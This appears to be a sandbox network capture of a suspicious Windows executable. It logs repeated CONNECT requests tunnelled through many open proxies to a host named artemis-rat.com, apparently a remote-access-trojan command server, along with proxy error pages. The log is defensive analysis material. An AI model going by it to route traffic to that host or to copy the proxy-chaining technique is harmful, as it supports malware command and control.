Mar 11, 2024 03:30:40.058787107 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.5	50543	188.40.44.83	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.683693886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.702141047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.702605963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.701958895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.701977015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.5	51557	184.185.2.12	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.683696985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.5	51685	34.102.179.21	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.683834076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.955913067 CET	462	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 317 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 6d 65 74 68 6f 64 20 3c 63 6f 64 65 3e 43 4f 4e 4e 45 43 54 3c 2f 63 6f 64 65 3e 20 69 73 20 69 6e 61 70 70 72 6f 70 72 69 61 74 65 20 66 6f 72 20 74 68 65 20 55 52 4c 20 3c 63 6f 64 65 3e 2f 3c 2f 63 6f 64 65 3e 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>405 Method Not Allowed</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Method Not Allowed</h1><h2>The request method <code>CONNECT</code> is inappropriate for the URL <code>/</code>.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.5	51689	162.214.154.176	32210	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.684359074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.139182091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.654889107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.702430010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811731100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.905631065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.014604092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.217742920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.514575958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.5	51721	132.148.128.88	8595	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.684983969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.139179945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.654889107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.702083111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.5	51712	159.89.138.130	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.685066938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.860451937 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.5	51542	218.6.120.111	7777	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.685244083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.770670891 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.5	51488	103.190.54.141	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.685247898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.5	50558	72.195.34.58	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.685322046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.5	51627	98.175.31.195	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.685684919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.5	51548	192.252.216.81	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.694021940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.5	51759	185.162.230.201	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.694266081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.857326984 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.5	51547	103.23.101.97	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.694693089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.5	50702	142.4.7.20	10722	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.694935083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806237936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.905225992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014626980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.5	51591	185.18.198.163	58714	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.696230888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.326689005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.202874899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.5	50491	103.148.51.19	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.698462963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.5	51570	196.20.125.149	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.699160099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.5	51606	212.110.188.189	34405	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.699290037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.950504065 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.5	51577	46.105.35.193	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.700112104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.006129026 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 717 Content-Type: text/html Date: Mon, 11 Mar 2024 02:30:38 GMT Expires: Mon, 11 Mar 2024 02:30:38 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.5	51614	59.6.26.121	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.705161095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.016673088 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.5	51578	54.233.119.172	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.709794998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.033909082 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:39 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.5	51772	104.16.106.234	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.710649014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.864897013 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.5	51774	104.17.50.45	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.711100101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
